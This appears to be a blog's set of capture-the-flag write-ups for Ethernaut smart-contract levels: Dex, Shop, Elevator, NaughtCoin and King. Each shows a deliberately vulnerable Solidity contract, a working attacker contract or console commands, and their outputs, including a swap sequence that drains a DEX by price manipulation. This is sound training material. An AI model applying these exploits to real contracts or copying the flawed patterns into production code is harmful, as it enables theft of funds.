30 Aug 2022
Difficulty: πππππ
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1
and 10 of token2
. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a βbadβ price of the assets.
Quick note
Normally, when you make a swap with an ERC20 token, you have to approve
the contract to spend your tokens for you. To keep with the syntax of the game, weβve just added the approve
method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>)
instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken
contract otherwise.
Things that might help:
- How is the price of the token calculated?
- How does the
swap
method work?
- How do you
approve
a transaction of an ERC20?
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Writeup
The vulnerable part of this level is method getSwapPrice
, which doing a simple division without dealing with decimal point. It let hackers drain all token from the contract easily.
- Get new instance.
- Approve.
await contract.approve(contract.address, 10000)
await contract.approve('YOUR_ACCOUNT_ADDRESS', 10000)
- Get token address.
const t1 = await contract.token1()
const t2 = await contract.token2()
-
Swap
Β |
from |
to |
amount |
swapAmount |
player token1 |
player token2 |
dex token1 |
dex token2 |
0 |
Β |
Β |
Β |
Β |
100 |
100 |
10 |
10 |
1 |
t1 |
t2 |
10 |
10 |
0 |
20 |
110 |
90 |
2 |
t2 |
t1 |
20 |
24 |
24 |
0 |
86 |
110 |
3 |
t1 |
t2 |
24 |
30 |
0 |
30 |
110 |
80 |
4 |
t2 |
t1 |
30 |
41 |
41 |
0 |
69 |
110 |
5 |
t1 |
t2 |
41 |
65 |
0 |
65 |
110 |
45 |
6 |
t2 |
t1 |
45 |
110 |
110 |
20 |
0 |
90 |
await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.getSwapPrice(t2, t1, 45).then(v=>v.toString())
// 110 = contract's token1 balance!
await contract.swap(t2, t1, 45)
await contract.balanceOf(token1, contract.address).then(v=>v.toString())
// 0
- Submit instance ΞΎ( βΏοΌβ‘β)
29 Aug 2022
Difficulty: πππππ
Π‘an you get the item from the shop for less than the price asked?
Things that might help:
- Shop expects to be used from a Buyer
- Understanding restrictions of view functions
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Writeup
This level is similar to 11-elevator. buy
method calls _buyer.price()
twice.
If _buyer.price()
return value>=100 the first time it is called and return value<100 the second time, we can get the item from the shop for less than the price asked.
- Get new instance.
- Create a contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './21_Shop.sol';
contract ShopAttacker {
Shop shop;
constructor(address _addr) public {
shop = Shop(_addr);
}
function price() external view returns (uint) {
return ( shop.isSold()==true ) ? 10 : 110;
}
function buybuy() public {
shop.buy();
}
}
- Check if success by calling method in the console.
await contract.isSold()
// true
await contract.price().then( v=> v.toString())
// 10
- Submit instance ΞΎ( βΏοΌβ‘β)
29 Aug 2022
Difficulty: πππππ
This elevator wonβt let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Writeup
- Get new instance.
- Call methods
await contract.top()
// false
await contract.floor().then(v=>v.toString())
// 0
- Create a contract which implement
isLastFloor
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './11_Elevator.sol'; // level instance contract
contract ElevatorAttack {
bool result = true;
function isLastFloor(uint) external returns (bool) {
result = !result;
return(result);
// first time return false, second time return true
}
function gogo(address _addr,uint _floor) public {
Elevator elevator = Elevator(_addr);
elevator.goTo(_floor);
}
}
- Call
gogo
method
- Call methods
await contract.top()
// true
await contract.floor().then(v=>v.toString())
// 10
- Submit instance ΞΎ( βΏοΌβ‘β)
Reference
28 Aug 2022
Difficulty: πππππ
NaughtCoin is an ERC20 token and youβre already holding all of them. The catch is that youβll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Things that might help
- The ERC20 Spec
- The OpenZeppelin codebase
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
Writeup
What is ERC20 :
Lack of implement crucial function ( approve()
& transferfrom()
) make this contract vulnerable.
- Call the method in console
await contract.approve(player,toWei("1000000"))
- Call the method in console
await contract.transferFrom(player,'0x3aadd6ddcc24819bb05426ac8be5814e975e23da',toWei("1000000"))
// anaother account
- Check by calling the method in console
await contract.balanceOf(player).then(v=>v.toString())
// '0'
await contract.balanceOf('0x3aadd6ddcc24819bb05426ac8be5814e975e23da').then(v=>v.toString())
// '1000000000000000000000000'
- Submit instance ΞΎ( βΏοΌβ‘β)
28 Aug 2022
Difficulty: πππππ
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Writeup
There is the warning from Solidity document :
When Ether is sent directly to a contract (without a function call, i.e. sender uses send or transfer) but the receiving contract does not define a receive Ether function or a payable fallback function, an exception will be thrown, sending back the Ether (this was different before Solidity v0.4.0). If you want your contract to receive Ether, you have to implement a receive Ether function (using payable fallback functions for receiving Ether is not recommended, since the fallback is invoked and would not fail for interface confusions on the part of the sender).
If king is a contract that can not receive Ether, king.transfer(msg.value)
fails every time it is executed.
- Get new instance.
- Call the method
await contract._king()
// '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
// owner address is '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5' too.
- Create a contract without
receive
and fallback
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './9_King.sol';
contract KingAttacker {
function attack(address payable _addr) public payable {
King king = King(_addr);
(bool sent, ) = address(king).call.value(msg.value)("");
require(sent, "Failed to send value");
}
}
- Compile & deploy.
- Call
attack
method with the level instance address as the parameter _addr
and value 1wei ( the same as state variable prize
) .
- Call the method
await contract._king()
// Your KingAttacker contract address
- Submit instance ΞΎ( βΏοΌβ‘β)
Reference